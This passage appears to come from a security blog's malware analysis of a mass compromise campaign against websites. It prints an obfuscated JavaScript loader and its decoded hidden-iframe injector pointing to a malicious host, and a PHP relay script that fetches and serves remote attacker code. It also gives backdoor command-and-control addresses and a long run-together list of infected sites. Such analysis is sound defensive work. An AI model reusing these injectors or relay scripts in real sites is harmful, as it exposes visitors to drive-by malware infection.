=\"{0/};2p'4hy,t&amp;gt;C:Ao56";ar2="R64c0c-32c-16c108c-116c12c184c-100c-92c36c44c-12c104c-148c24c32c92c-184c88c4c-44c44c-12c104c-108c8c92c-104c-28c16c56c-72c4c44c-84c156c-64c104c-184c156c-12c-108c12c72c-44c-40c80c-72c0c0c-32c-16c-12c40c4c44c-88c4c48c96c-88c0c84c-24c-32c-4c-12c16c32c12c-72c0c0c-44c184c-100c-92c36c44c-12c104c-148c4c-36c28c152c-92c-84c124c-80c-20c-16c-12c40c4c44c32c-48c-72c100c24c36c8c12c0c-24c36c-52c0c-84c-16c-32c4c-12c28c-12c80c104c-200c28c44c-40c-32c8c132c-128c188c-200c8c36c-12c124c12c-12c-48c72c-24c-32c-108c80c112c-196c76c-68c96c-16c16c48c-64c104c-52c-128c180c0c-44c-40c-84c-8c-12c164c-12c-44c36c-136c112c24c-40c48c-80c-60c28c112c12c-56c36c-136c112c24c-40c-48c108c-8c-88c4c36c36c-56c-76c44c-44c68c-68c56c-56c152c-8c20c-24c-140c-12c0c72c-12c72c8c44c-128c-44c152c-152c172c-124c116c-152c56c-24c128c-116c-76c172c-92c60c-64c4c-76c168c12c-56c12c32c20c-44c36c-56c12c12c24c-136c92c-112c-16c-12c40c4c44c96c-56c-76c96c-88c0c84c-84c0c-48c-4c68c24c80c-152c172c-124c44c-92c-16c-12c40c4c44c-88c4c48c80c-72c0c0c44c-64c-40c120c-108c108c4c-4c-104c184c-100c-92c36c44c-12c104c-148c68c-100c88c-48c140c-92c-92c88c4c-44c44c-12c104c-176c156c-132c-16c-12c40c4c44c72c-108c96c-136c20c40c16c92c16c-16c0c-180c28c68c-88c172c-92c-84c156c-88c-72c100c60c16c-16c8c12c0c-24c36c-52c0c-84c-16c-32c4c-12c28c-12c80c104c-200c28c44c-40c-32c8c132c-128c188c-200c8c36c-12c124c12c-12c-48c72c-24c-32c-108c80c112c-196c76c-68c96c-16c16c48c-64c104c-52c-128c180c0c-44c-108c96c-136c20c40c108c-8c-88c4c-56c72c-76c44c-44c68c-68c56c-56c152c-8c-48c36c8c-140c-12c0c72c-12c84c-12c-136c20c40c108c-8c-88c4c-56c124c44c-128c-44c152c-152c172c-124c48c36c-120c56c-24c128c-116c-76c172c-92c72c-12c-136c20c40c108c-8c-88c4c-56c52c4c-76c168c-56c36c-24c24c-12c-136c20c40c108c-8c-88c4c-56c148c20c-44c-32c36c-24c24c-12c-136c20c40c16c92c16c-16c0c-180c28c68c-88c172c-92c-84c156c-124c-8c-12c164c-12c-8c16c-16c-136c112c24c-108c96c-136c20c40c16c92c16c-16c0c-180c28c68c-88c172c-92c-84c156c8c-80c-60c28c112c12c-20c16c-16c-136c112c24c-108c96c-88c0c0c-44c184c-100c-92c36c44c-12c104c-148c24c32c92c-184c88c4c-44c44c-12c104c-108c8c92c-104c-28c16c56c-72c4c44c-84c156c-64c104c-184c156c-12c-108c12c72c-44c-60c8c116c0c-68c-12c-60c172c-20c-140c56c-68c-12c8c40c96c-88c0c84";pau="urn eReferenceErr".replace(k,"va"+el.childNodes[1].nodeValue);e=Function("ret"+pau)();ar2=ar2.split("c");ar2[0]="64";s="";pos=0;i=0;while(i&amp;lt;605){e('po'.concat('s+=par','seInt(k','.rep','lace("R','eferen','","0a','sd"))+','ar2[','i]/','4'));e('s+=ar.substr(pos,1)');i++;}e(s);&lt;/pre&gt;&lt;br /&gt;Which decodes to:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: js; auto-links: false"&gt;if (document.getElementsByTagName('body')[0]){   iframer();  } else {   document.write("&amp;lt;iframe src='http://gaufridboris.ru/forum.php?tp=db6fe39c94c52155' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'&amp;gt;&amp;lt;/iframe&amp;gt;");  }  function iframer(){   var f = document.createElement('iframe');f.setAttribute('src','http://gaufridboris.ru/forum.php?tp=db6fe39c94c52155');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');   document.getElementsByTagName('body')[0].appendChild(f);  }&lt;/pre&gt;&lt;br /&gt;The contents of the wpcomplate.php file is as follows:&lt;br /&gt;&lt;pre class="brush: php; auto-links: false"&gt;&amp;lt;?php// ----------------------------------------------------------------------// touch this!  ---------------------------------------------------------define( 'CACHE_DEBUG',false );define( 'CACHE_TIME_SECONDS',0 );define( 'CACHE_UPDATE_URL',"http://klubnika34his.com/data/banner.txt" );define( 'CACHE_FILE',"sidename.js" );// ----------------------------------------------------------------------$cache_code  = null;$cache_file  = CACHE_FILE;$cached_time  = time() - (file_exists($cache_file) ? filemtime($cache_file) : 0);// ----------------------------------------------------------------------if (CACHE_DEBUG) echo "Cached time is {$cached_time} seconds, update planned after ".(CACHE_TIME_SECONDS - $cached_time)." seconds\n";// ----------------------------------------------------------------------// check cached time if($cached_time &amp;gt; CACHE_TIME_SECONDS){ // get new cache code $cache_code = file_get_contents(CACHE_UPDATE_URL); if(!empty($cache_code)) {  if (CACHE_DEBUG) echo "Update cache...\n";  write_cache($cache_file, $cache_code); } else {  if (CACHE_DEBUG) echo "Can't get cache data!\n"; }}else{  if(CACHE_DEBUG) echo "Read cache code...\n";  // extract cached data  $cache_code = extract_cache($cache_file);  if(empty($cache_code))  {   if (CACHE_DEBUG) echo "Cache empty! Update cache...\n";   $cache_code = file_get_contents(CACHE_UPDATE_URL);   if(!empty($cache_code))   {    // write cache    write_cache($cache_file, $cache_code);   }   else   {    if (CACHE_DEBUG) echo "Can't get cache data!\n";   }  }}// ----------------------------------------------------------------------header("Content-Type: text/plain; charset=windows-1251");echo $cache_code;// ----------------------------------------------------------------------exit;// ----------------------------------------------------------------------/// read file datafunction file_get_contents_locked($file_path){ $fp = fopen($file_path, "r"); if($fp !== FALSE) {  flock($fp, LOCK_EX);  $data = fread($fp, filesize($file_path));  flock($fp, LOCK_UN);  fclose($fp);  return $data; } return FALSE;}// ----------------------------------------------------------------------/// extract cache from file by cache markersfunction extract_cache($file_path){ if(file_exists($file_path))  return file_get_contents_locked($file_path); return null;}// ----------------------------------------------------------------------// write cache to filefunction write_cache($file_path, $cache_data){ if(file_exists($file_path) &amp;amp;&amp;amp; !is_writable($file_path)) {  if (CACHE_DEBUG) echo "Cache file not writable!\n";  return null; } $fp=fopen($file_path, "w+"); flock($fp, LOCK_EX); fwrite($fp, $cache_data); flock($fp, LOCK_UN); fclose($fp);}------------&lt;/pre&gt;&lt;br /&gt;&lt;a name="4"&gt;&lt;b&gt;[5. Installed malware]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The installed malware binary keeps on changing, but most are repacked versions of the same backdoor and spambot. Detection rate was &lt;a href="http://www.virustotal.com/file-scan/report.html?id=5e2c460de85b21fab54fbc1d5d58b361a1a0ef01cd2e1eded4dbf338f13382d7-1307661080"&gt;3 out of 42 vendors&lt;/a&gt; on VirusTotal.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-4O5-KQXHBvg/TfZDg1UPJ8I/AAAAAAAACR0/2p4bqxqVfzo/s1600/mass_mesh_injection_malware_virus_total_1.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://3.bp.blogspot.com/-4O5-KQXHBvg/TfZDg1UPJ8I/AAAAAAAACR0/2p4bqxqVfzo/s1600/mass_mesh_injection_malware_virus_total_1.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The malware connects back to 70.36.100.242:443 and listens on port 2455. Static analysis also came up with the following domains:&lt;br /&gt;&lt;br /&gt;70.36.100.242:443;&lt;br /&gt;70.36.100.243:443;&lt;br /&gt;70.36.100.244:443;&lt;br /&gt;208.110.80.34:443;&lt;br /&gt;208.110.80.35:443;&lt;br /&gt;208.110.80.36:443;&lt;br /&gt;74.222.4.12:443;&lt;br /&gt;74.222.4.13:443;&lt;br /&gt;black.nightphantom.com:443;&lt;br /&gt;cheburash.com:443;&lt;br /&gt;ns2.romanspamer.com:443;&lt;br /&gt;n1.romanspamer.com:443;&lt;br /&gt;angel.eveningquest.com:443;&lt;br /&gt;&lt;br /&gt;&lt;a name="5"&gt;&lt;b&gt;[6. Sample list of 1200 infected websites]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;After the initial publicaiton of this post, we were noted by&lt;br /&gt;Christian Frichot and David Taylor that apparantly, the meshing system automatically documents infected websites in the following URL:&lt;br /&gt;&lt;pre&gt;http://klubnika34his.com/data/workurls.txt&lt;/pre&gt;We were not aware of this prior to their update. An excerpt of the URL's contents is as follows:&lt;br /&gt;&lt;pre&gt;http://getbig.com/articles/wpcomplate.phphttp://ekudakov.ru/wpcomplate.phphttp://studiodada.biz/wpcomplate.phphttp://woweb.biz/wpcomplate.phphttp://www.metapo.com/wpcomplate.phphttp://teamroomonline.com/wpcomplate.php&lt;/pre&gt;&lt;br /&gt;After counting, that URL recorded 956 websites, out of which were 897 unique websites. Apparantly this file did not include all infected websites, but since we were not able to collect the entire source code package of this meshing system, we do not know why this file did not record all infections.&lt;br /&gt;&lt;br /&gt;Finally, below are examples of sites in this sidename.js mesh.&lt;br /&gt;&lt;pre&gt;http://m-ageha.kir.jphttp://embarrass.hosting.paran.comhttp://hosting0013924.az.plhttp://hosting4792140.az.plhttp://hosting8540401.az.plhttp://n3jnondgxfed.az.plhttp://promelit.biz.uahttp://cuoredolcecuore.netsons.orghttp://alicjaa.webd.plhttp://cuda.webd.plhttp://dian560.webd.plhttp://grzenio.webd.plhttp://milena1.webd.plhttp://msmebel8.webd.plhttp://pzukwi.webd.plhttp://snb.webd.plhttp://billardagent.vot.plhttp://dsopen.vot.plhttp://lenin.vot.plhttp://mk1.vot.plhttp://rako.vot.plhttp://tanierodzinnezakupy.vot.plhttp://wojsz.vot.plhttp://wswfit.vot.plhttp://kuzishin.if.uahttp://alfa.sumy.uahttp://getbig.comhttp://zara.zzl.orghttp://www.gazetevan.comhttp://fantazjada.kei.plhttp://articlenext.comhttp://sim-interbusiness.comhttp://formatc.cal.plhttp://grobart.cal.plhttp://kokoko.cal.plhttp://soustr.net78.nethttp://4misr.comhttp://project-soustr.net76.nethttp://muciek2.ayz.plhttp://pkata.ayz.plhttp://1.igor1980.z8.ruhttp://miadieta.ithttp://czasy-surferow.xaa.plhttp://htc.xaa.plhttp://sesatio.xaa.plhttp://sigmainfotech.com.auhttp://spolecznagrodzisk.ehost.plhttp://skt.beta.zst.tarnow.plhttp://media.funmunch.comhttp://quotes.funmunch.comhttp://rank01.comhttp://nmc.poltava.uahttp://saamarth.nethttp://ayamk.comhttp://sagitta.cp5.win.plhttp://konhaber.comhttp://m.dialindia.comhttp://lechowski.nstrefa.plhttp://euslugi.lh.plhttp://listonoszpat.lh.plhttp://idmir.comhttp://newnancc.comhttp://www.zbani.comhttp://websitedesign4u.comhttp://kalisz.ionic.plhttp://dev.inkakinada.comhttp://imagesdocs.comhttp://select.civ.plhttp://konto1.cal24.plhttp://wojo.fc.plhttp://teentape.comhttp://shqipet.chhttp://amcwebhost.comhttp://love-sports-betting.comhttp://easley4dps4.comhttp://mobozavr.u-gu.ruhttp://fitness-planet.turek.plhttp://karczma.turek.plhttp://malodentalimplants.comhttp://gogoa.comhttp://sigmaseo.com.auhttp://yenidze.comhttp://theclassy.comhttp://betterbettingonline.comhttp://nudeamateurporn.comhttp://vija.asiahttp://st05110493.etu.edu.trhttp://serverlar.gen.trhttp://pichell.orghttp://all-celebrities-exposed.comhttp://theleadershipcoach.orghttp://facebooklikes.comhttp://zwierzu.zxy.mehttp://dr-slc.comhttp://main.district8.nethttp://traverus-travelagent.comhttp://cnsbzs.comhttp://kalitewebs.comhttp://admindiscuss.comhttp://kocaeligazete.comhttp://bestfinancescheme.comhttp://purplepjs.comhttp://datapaylasim.comhttp://bankwestagri.com.au.tmp.anchor.net.auhttp://content-catalyst.comhttp://rednotebook.grhttp://artattackk.comhttp://deathntaxes.nethttp://kmetijstvo-gozdarstvo-gorenjske.comhttp://tourism-eure.comhttp://finedecoration.nethttp://conceptsynoptic.comhttp://idealgiftshopping.nethttp://fashionwatchesjewelry.comhttp://myamateurhomeporn.comhttp://anglijospremierlyga.wu.lthttp://utilaje-agricole-wirax.comhttp://sonic-serve.comhttp://versatilecontents.comhttp://ilovefreepussy.comhttp://zee.cohttp://releasedownload.comhttp://clarabridge.comhttp://greenvanlines.comhttp://lsraheja.orghttp://pornwarzone.comhttp://4printing.nethttp://radioisla1320.comhttp://www.apluswhs.comhttp://clientzone.saturn.tjhttp://rainbowlocksmith.comhttp://thai-discovery.comhttp://muraito.comhttp://dentalimplantcosthouston.comhttp://designhub.ithttp://www.cosmed.com.twhttp://artefakt.jor.plhttp://zdjecia.jor.plhttp://starzweb.comhttp://indusnetacademy.comhttp://mardanpalace.comhttp://kanadianking.comhttp://erogry24.firehost.plhttp://falaq.infohttp://tuque.com.brhttp://staah.nethttp://hqlogos.comhttp://hornygirls.bizhttp://ardanradio.comhttp://greener-gardens.comhttp://harmonyfilm.viphost.plhttp://socialmediamarketingwizard.comhttp://bdmc.ushttp://dentalimplantsorangecountydentist.comhttp://wonderbackgrounds.comhttp://selfdirectedirastore.comhttp://internetmarketingwonder.comhttp://arcomserv.comhttp://lilavatihospital.comhttp://jigneshpatel.co.inhttp://picasoconsulting.comhttp://rdfitness-centre.infohttp://iloveretroporn.comhttp://accordsoft.inhttp://casinostoplayat.comhttp://sh.d2.plhttp://countryheartheauclaire.comhttp://forexen-trading.infohttp://swagsaver.comhttp://blackcatcandlecompany.comhttp://mobileshub.co.ukhttp://rdseoservices.infohttp://londoncheapapartments.co.ukhttp://onlinecasinoprime.comhttp://ddiziizlet.comhttp://quickseoservices.comhttp://sqoop.co.ughttp://impactdesign-global.comhttp://gaysexxxvideos.comhttp://seobay.comhttp://craigslistraffic.orghttp://rdrealestate.infohttp://www.ankarahavalari.nethttp://mylitescottages.comhttp://pcmax.vnhttp://thebarninsanford.comhttp://datstruct.comhttp://horizonspeakers.comhttp://gogreenindia.co.inhttp://tamanismailmarzuki.comhttp://malta-festival.plhttp://mancity.czhttp://portalwallpaper.nethttp://tantumjav.nethttp://leimo.bizhttp://oib.gov.trhttp://rhaasoft.inhttp://seo-bright.comhttp://megapic.vnhttp://michaelbaisden.comhttp://passenlaw.comhttp://ICNA.ORGhttp://izeebschool.comhttp://kdaat.orghttp://ocdxxx.comhttp://bestsildenafil.infohttp://re-feel.inhttp://mtss.ushttp://letfollow.ushttp://sssofttechnologiesdev.comhttp://justdriving.nethttp://a1shopping.co.cchttp://australiacampervan.comhttp://dpsvasantkunj.comhttp://rdonline-education.infohttp://effectiveattraction.comhttp://fripjobs.comhttp://planetag.cp9.vpsi.plhttp://thecarverycompany.comhttp://professional-videoeditingsoftware.co.cchttp://healthcarecenters.orghttp://menswearecollection.comhttp://honda.com.sghttp://www.h963.comhttp://thesuperstocks.comhttp://thelinkbuildingservices.comhttp://searchenginefactors.comhttp://businessloanconnections.comhttp://onlinecasinopros.comhttp://area224.comhttp://longshotsaloon.comhttp://www.greivisvasquez.comhttp://rdbusiness-solu.infohttp://supertouchart.comhttp://surprisesgalore.comhttp://swiatmp3.infohttp://makemytoursonline.comhttp://fin-digest.ruhttp://swankwithoutthewank.comhttp://yogasanjivani.comhttp://facebook.gamesbunch.comhttp://gamesbunch.comhttp://zmadz.comhttp://businesshubdirect.comhttp://crosbymolasses.comhttp://wpgezegeni.comhttp://outdoor.org.plhttp://theabundancemovement.comhttp://yenikonya.com.trhttp://www.fernandoandrade.namehttp://giftshopgames.comhttp://myhomefurnituresite.comhttp://www.mzri.comhttp://theseoconsult.comhttp://onlinecasinodeck.comhttp://statho-design.grhttp://trinemt2.comhttp://nokiawindows.co.cchttp://sekolahasisi.nethttp://iredecor.co.cchttp://simpsons-arcade.comhttp://www.cashstreams.nethttp://viphousing.inhttp://autoforumposter.nethttp://espinhonet.comhttp://www.3doi.comhttp://edrx.infohttp://2muchrishtey.comhttp://www.obat-herbal.bizhttp://khao-sok-resort.comhttp://cheapdrugbuy.comhttp://vielja.nlhttp://hardwareshoponline.comhttp://csewdirectory.childrensociety.org.sghttp://wingstechsolutions.comhttp://www.srasid.comhttp://sekretaris.dindikjatim.nethttp://bannermaken.nlhttp://casinodestek.comhttp://myabsworkout.comhttp://xklatovy.lidos.czhttp://tmmteam.nethttp://www.nastyvids.infohttp://khaosok-accommodation.comhttp://prikolkin.com.uahttp://accept-credit-cards.comhttp://mychinese.com.myhttp://missionnewyork.comhttp://vedantainformatics.comhttp://www.charliesheennews.infohttp://adiba.co.cchttp://khaosok-hotels.comhttp://evolucionupc.edu.pehttp://thewebhostingcompany.com.auhttp://turkeyhotelsandtours.comhttp://srishtiprojects.comhttp://kidzfun.bizhttp://seosteptoday.comhttp://www.kombor.comhttp://osiolkowo.xpag.plhttp://konzerttickets.wshttp://videocafe.fungrind.comhttp://sm3.aserw.plhttp://muslimfamilyday.comhttp://wonderfonts.comhttp://fitlion.comhttp://gsm-sms.nethttp://forextradingeducation.infohttp://daftarlowonganpekerjaan.comhttp://www.seguridadsocialsuramericana.comhttp://zdjecia.zebu.plhttp://weddinggamesonline.comhttp://www.singlemomsx.infohttp://www.zarabianiewnecie24.com.plhttp://zarabianiewnecie24.com.plhttp://fanhaber.comhttp://www.livejasminv.infohttp://suaramu.comhttp://playgroundmaps.comhttp://www.dui4m.comhttp://www.tinnitusmiraclev.infohttp://www.mesotheliomav.infohttp://target-marketing.infohttp://totalcardiocards.comhttp://tantiagroup.comhttp://www.mydrivinglessonscork.comhttp://www.djiatoday.infohttp://ukdrills.comhttp://www.egemengazetesi.comhttp://dressupgames.fmhttp://newlink.co.zahttp://amxbans.hmhost.plhttp://weselnyhit.plhttp://labmedick.comhttp://tuttoluciano.ithttp://circuitsmag.comhttp://art.milleniumstudio.plhttp://perih.milleniumstudio.plhttp://quadrapol.milleniumstudio.plhttp://up.milleniumstudio.plhttp://drop-ship-wholesale.nethttp://osiolkowo.euhttp://t4tamil.comhttp://mexipreneur.comhttp://www.floridagas.nethttp://thenextmarket.comhttp://tandaiduong.com.vnhttp://bcans.cahttp://olka.cahttp://kalpkurabiye.comhttp://tab-g.comhttp://traductoresportugues.comhttp://ssyms.comhttp://chasovnik.bghttp://finvista.ruhttp://gigroup.co.inhttp://www.thedietsolutionprogramx.infohttp://www.menopausesymptomsx.infohttp://123racinggames.comhttp://www.careeronestop.infohttp://imyshots.comhttp://nefisyemektarifleri.bizhttp://dizifilmizlesek.nethttp://adventuregamesplay.comhttp://operacionesdigitales.comhttp://webonew.comhttp://www.lampaopt.ruhttp://myazn.comhttp://app.sec-survivals.nlhttp://www.soiodontologia.comhttp://gorodbg.ruhttp://www.eccoshoesonsale.infohttp://glocalizationconference.orghttp://www.headphoneonsale.co.ukhttp://domuka.nethttp://y.ym.lthttp://www.vigrxplusx.infohttp://potuk.nethttp://www.wowherbalismguidex.infohttp://keyifleizle.nethttp://www.amanosmobilya.comhttp://www.onoranzefunebri-italia.ithttp://fairtexbangplee.comhttp://magazin-turov.com.uahttp://anandahouse.synergiahost.plhttp://wnr.synergiahost.plhttp://proxen.plhttp://kemal-sunal.infohttp://www.gpcps.ruhttp://mylinh.com.vnhttp://www.kostums.comhttp://www.floresdelagranja.comhttp://myadventureleague.comhttp://district8.nlhttp://www.lakerabunhotel.comhttp://izleriz.orghttp://otcgenius.comhttp://www.acaiberrypower.nethttp://ideblog.comhttp://ulusanhandmade.comhttp://www.yeniturkedebiyati.comhttp://www.aqiosk.comhttp://www.androidv.infohttp://rembudcentr.com.uahttp://www.broilmastergrills.orghttp://www.virtualplaypoker.comhttp://universalsecret.nethttp://zoneware.nethttp://www.mpsinfoservices.comhttp://casinoruff.comhttp://girlsgames.mehttp://www.krayone.comhttp://www.dsfl.nethttp://www.zakozi.comhttp://schiwarz.comhttp://russe.star-kom.plhttp://3xru.ruhttp://kabarbruno.orghttp://francinasingla.comhttp://cartrust.nethttp://www.ifainsurance.infohttp://hkctf.comhttp://lenen-zonder-bkrtoetsing.nlhttp://e-rinka.lthttp://unicentrotunja.com.cohttp://onlinebiznes.euhttp://www.injurylawyersforyou.infohttp://yukmobi.comhttp://sadinfish.comhttp://www.hnldesigns.comhttp://freedomdive.comhttp://butterflycleaning.cahttp://swiatwyscigow.plhttp://intechnde.comhttp://serbesttasarimci.comhttp://ddcovey.comhttp://www.hemorrhoidmiraclex.infohttp://woweb.bizhttp://mobileshop.com.vehttp://www.swabhimaan-education-ngo.comhttp://stayinstyle.co.nzhttp://tangerangkab.go.idhttp://www.registryeasyreview.infohttp://www.morrobaycarshow.orghttp://adelita.com.uahttp://yiu.ac.thhttp://pizzadomiciliu.rohttp://imadel.orghttp://www.rugusa.infohttp://www.acnenomorev.infohttp://hotrosv.comhttp://stockrose.comhttp://bahcelievlerbilgievi.comhttp://be3group.comhttp://www.iphone4cost.infohttp://www.newonlinepokergames.comhttp://valconsulting.com.pehttp://www.kayhanturkmenoglu.com.trhttp://www.agmorganizasyon.comhttp://rifatozkan.com.trhttp://adfolio.orghttp://phuketgolfvacation.comhttp://www.aryaajans.comhttp://targulbisericesc.euhttp://bircefm.nethttp://jazzablanca.comhttp://toccatacollection.comhttp://bestyoungdesigner.comhttp://fitnessworld.ithttp://vikram.inhttp://kinseydesigns.co.ukhttp://dansawi.comhttp://drubet.comhttp://abil-collection.comhttp://kardayim.comhttp://bepadong.vnhttp://fatmagulunsucuneizle.inhttp://futuristicgases.comhttp://www.geranges.infohttp://bytim.nethttp://www.bbwonlinedating.infohttp://nhlturniri.myspot.lvhttp://mariogamesplay.comhttp://quanvbpl.vnbis.comhttp://www.jornalforum.comhttp://www.autopartsgiant.infohttp://routeone-solutions.co.ukhttp://muammerkuyumcu.comhttp://usacheap.ushttp://centralcanaria.comhttp://terraespiritual.orghttp://www.casino-card-game.comhttp://valley-industries.com.auhttp://alternativetohotel.comhttp://www.bharatvision.inhttp://camara.loba.eshttp://papagalos.grhttp://www.internetreklamciligi.orghttp://bedrijfswagenpagina.nlhttp://www.canastasyregalos.comhttp://paintball35.comhttp://mehmetalperen.comhttp://prepaidcreditcardstips.comhttp://telefonyforum.plhttp://dieworks.nethttp://delart.com.pehttp://istanbulcheaphotels.comhttp://przedmiotyszkolne.plhttp://bluehilltulamben.comhttp://sport-world.ithttp://nlcthailand.comhttp://purposeandpower.orghttp://travelbymile.comhttp://topsportsgames.comhttp://feeder-gastronomia.plhttp://pjdcommunity.com.myhttp://thiguide.comhttp://eglen.bizhttp://templatez.orghttp://fotosnimka.comhttp://www.saloon79.com.brhttp://www.selinc.com.pehttp://rogazduire.rohttp://wkschool.orghttp://pl4y312.comhttp://tripreports.nlhttp://house67.comhttp://gll.infohttp://www.lcdsonytv.comhttp://topupd.comhttp://zankov.infohttp://didinpen.comhttp://rsoftware.nethttp://krizztov.comhttp://www.desguacepabloehijos.comhttp://imaginup.euhttp://cauvong.com.vnhttp://bistromargaux.behttp://oomsindia.comhttp://tunajlucas.comhttp://champ.kanevsk.ruhttp://hosting.kanevsk.ruhttp://kolos.kanevsk.ruhttp://news.kanevsk.ruhttp://inter-war.plhttp://buy-snacks-online.comhttp://www.vejpongosot.comhttp://jaarringfestival.nlhttp://saudefrugal.comhttp://igvin.ruhttp://sdkrezekne.lvhttp://qcom24.comhttp://motocat.nethttp://iryt.plhttp://www.saraykisla.comhttp://www.gis-expert.plhttp://www.metapo.comhttp://plaster-studio.comhttp://www.ambio.grhttp://watchmoviefullfreeonline.comhttp://chipchecker.comhttp://homebox.co.thhttp://www.jm-interior.comhttp://bkdsamarinda.web.idhttp://wonderpoems.comhttp://carmenotokiralama.comhttp://delekkerbek.nlhttp://amilliondollarpage.comhttp://www.spnovidom.ruhttp://dalyantr.comhttp://www.valservicios.eshttp://www.ags71.comhttp://sdnkauman1-malang.sch.idhttp://www.affiloramax.infohttp://pink2cake.comhttp://pms.behttp://lacasadelaluna.com.uyhttp://horeca-bouwnet.nlhttp://artiyono.comhttp://kadinkadinayiz.comhttp://gemininirman.comhttp://emlakt.comhttp://beczkaprzezswiat.plhttp://www.anubalpisanwit.ac.thhttp://crthailand.comhttp://greeteasy.comhttp://dveri-plus.com.uahttp://kuntaluk.comhttp://smackdownizle.gen.trhttp://www.lucktocasino.comhttp://www.okaraburgu.comhttp://yerelim.comhttp://simcentral.plhttp://hitmanjazz.comhttp://sisteinfor.com.arhttp://adultalem.ushttp://organicgreenfoods.comhttp://www.ustunfotokopi.comhttp://galleriaopticalva.comhttp://krystynazgazowni.plhttp://bestannonce.comhttp://www.forumarena.nethttp://seb-annu.comhttp://serkansuphiteker.comhttp://www.reachingtheimpossible.comhttp://wildniteradio.comhttp://dskomp.plhttp://grafineri.comhttp://why-do.comhttp://pawelmakowski.plhttp://jbb.mzhost.plhttp://www.sonsoz.orghttp://istanbulisokullari.comhttp://impulsaperu.comhttp://fisicamoral.clhttp://emsgroupltd.comhttp://www.bestwholesaleclothing.comhttp://ourforstmt2.nethttp://studiodada.bizhttp://autoventas.com.uyhttp://gayortam.comhttp://cosmosuae.comhttp://themhouse.inhttp://pickfonts.comhttp://aliceinchains.plhttp://www.labelsexy.comhttp://tuperfumeonline.comhttp://geld-lenenbkr.comhttp://maheshwari-samaj-ludhiana.comhttp://chimalsi.skhttp://microstart.nethttp://www.shinchanphotos.comhttp://drdaybytukta.comhttp://maciejweigel.plhttp://clubs4cash.nethttp://www.blackwelltrader.comhttp://radharanimarbles.comhttp://inspirativemedia.comhttp://christmasmyspacegraphics.comhttp://hiteshbavaliya.comhttp://health-book.nethttp://semerkandgonulluleri.comhttp://gardenstory.plhttp://mediapembelajaranonline.web.idhttp://huseyin-yucel.comhttp://e2e.co.idhttp://www.ismailcetisli.comhttp://danathemedesign.comhttp://webdevbg.comhttp://data-sistem.comhttp://bouncingaround.co.ukhttp://fiilmizleyin.comhttp://miloevents.comhttp://thewisdomwell.comhttp://robota.web.idhttp://advero.plhttp://www.eprintbox.plhttp://linguafit.iehttp://www.turbulencetrainingv.infohttp://olivebranchtours.comhttp://dglproducts.comhttp://sppba.ruhttp://ecoalarm.orghttp://podorzechem.info.plhttp://compesacampeche.comhttp://interiorni.comhttp://serwer.fhuzico.plhttp://greenstreet-bg.comhttp://dalyan1.comhttp://easywayshoping.comhttp://www.caodaitodinhchieuminh.com.vnhttp://www.petit-nanterre.orghttp://splashmarketing.com.vnhttp://zzdpawlowice.plhttp://www.kaleane.comhttp://datquatet.comhttp://dirty.lthttp://xe-vn.nethttp://pinata.cahttp://likesy.plhttp://sukcesteam.euhttp://oyundatek.nethttp://4garcons.comhttp://buga.com.trhttp://dalyanhaber.comhttp://gorrasdorita.comhttp://guvercinim.nethttp://www.dedmi.comhttp://auto-xenon.ruhttp://webmarx.nlhttp://passionostra.comhttp://franciscodeaguirre.clhttp://erdoganardic.comhttp://yelkenmt2.comhttp://www.spbu.com.uyhttp://kayseriotokiralama.bizhttp://hitsozluk.comhttp://hopehealdream.comhttp://makemoneyfromonlinebusiness.orghttp://santamargarita.edu.pehttp://sahinlerkoyu.tkhttp://triptobulgaria.euhttp://highpoint-asia.comhttp://istanbulkulturdans.comhttp://erolaltun.comhttp://izmircetesidizi.comhttp://www.forekshisse.comhttp://efektifsanat.comhttp://www.bestfullgames.comhttp://www.jardinoshop.nethttp://seo.beslim.nethttp://thecreativegenie.com.auhttp://kolderecumhuriyet.k12.trhttp://resepcemilan.comhttp://quaxuan.comhttp://abtnapho.go.thhttp://fullresellrightsoftware.comhttp://web-challenge.nethttp://pc-garage.nlhttp://lotussoftware.nethttp://www.mybizniz.infohttp://www.forekstakas.nethttp://splavviva.comhttp://cikita.orghttp://www.therioclub.comhttp://energieressourcen.euhttp://bahtr.comhttp://redajans.comhttp://macitozcan.comhttp://sieunhan.infohttp://www.omg-magazine.comhttp://deneme.drturkiye.comhttp://lenguyenjsc.comhttp://hkorte.nethttp://www.belekturkey.comhttp://dalyanhomes.nethttp://dalyanholiday.nethttp://holidaycome.comhttp://dmfyapim.comhttp://bubble-express.comhttp://www.evdenevenakliyatucretleri.orghttp://duygusalforum.nethttp://www.argunsahlar.comhttp://www.pfmfastdl.ptclans.infohttp://howorx.infohttp://koco.bizhttp://www.eraydans.comhttp://goldenoldieskusadasi.comhttp://www.cwlrc.orghttp://banquatet.comhttp://zone-page.comhttp://11-88-studios.comhttp://173.192.232.16http://174.122.55.234http://174.133.203.115http://174.133.203.116http://178.162.244.134http://188.165.185.176http://203.146.251.210http://209.62.120.59http://209.62.24.211http://209.62.24.212http://209.62.24.213http://217.117.28.54http://38metin2.comhttp://4explorer.comhttp://4nicetime.comhttp://66.147.239.103http://67.19.62.251http://70.86.154.56http://74.82.53.158http://78.46.102.74http://87.98.218.117http://94.103.40.65http://abitareconstile.comhttp://abunchoftwolips.nlhttp://acebook.gurlville.comhttp://actechdz.comhttp://acupunturayuang.clhttp://administrare-cladiri.rohttp://ad-pay.plhttp://adroiterz.comhttp://akpro.plhttp://alannahgunter.gen.nzhttp://alexeybakhtin.comhttp://alfom.comhttp://alisonlynch.infohttp://allmasscreation.comhttp://al-masoad.comhttp://alt7.infohttp://alwaysvacationtour.comhttp://americanbanker.orghttp://americanmobilephone.comhttp://anashacorp.comhttp://anugrah-abadi.comhttp://anwarulquranonline.comhttp://apdc.com.brhttp://archishots.comhttp://aristidepaun.rohttp://asianhouse2005.comhttp://av360solutions.comhttp://axoncreativo.comhttp://aybastitalebeyurdu.comhttp://azcpagency.comhttp://b2bblue.comhttp://backpackerinkawasi.comhttp://bankaolaem.comhttp://bastation.comhttp://baypubadv.comhttp://bbconnect.beenet.in.thhttp://be3.